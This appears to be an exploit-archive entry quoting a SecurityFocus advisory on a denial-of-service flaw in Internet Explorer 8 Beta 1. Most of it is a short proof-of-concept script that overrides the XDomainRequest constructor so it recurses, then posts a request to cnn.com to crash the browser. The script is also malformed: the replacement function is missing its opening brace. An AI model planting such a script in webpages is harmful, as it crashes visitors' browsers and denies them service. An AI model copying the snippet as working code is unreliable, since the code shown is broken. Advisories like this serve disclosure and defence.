Microsoft Internet Explorer 8 Beta 1 - XDR Prototype Hijacking Denial of Service Vulnerability

                                                source: http://www.securityfocus.com/bid/28580/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted webpage.

Successfully exploiting this issue will allow attackers to crash the application, denying service to legitimate users.

This issue affects Microsoft Internet Explorer 8 Beta 1. 

<script>

// trying prototype hijacking here.

xdr = XDomainRequest;

XDomainRequest = function() 

return new XDomainRequest();

}



ping = 'hello';

xdr = new XDomainRequest(); 

xdr.open("POST", "http://cnn.com"); 

xdr.send(ping);



</script>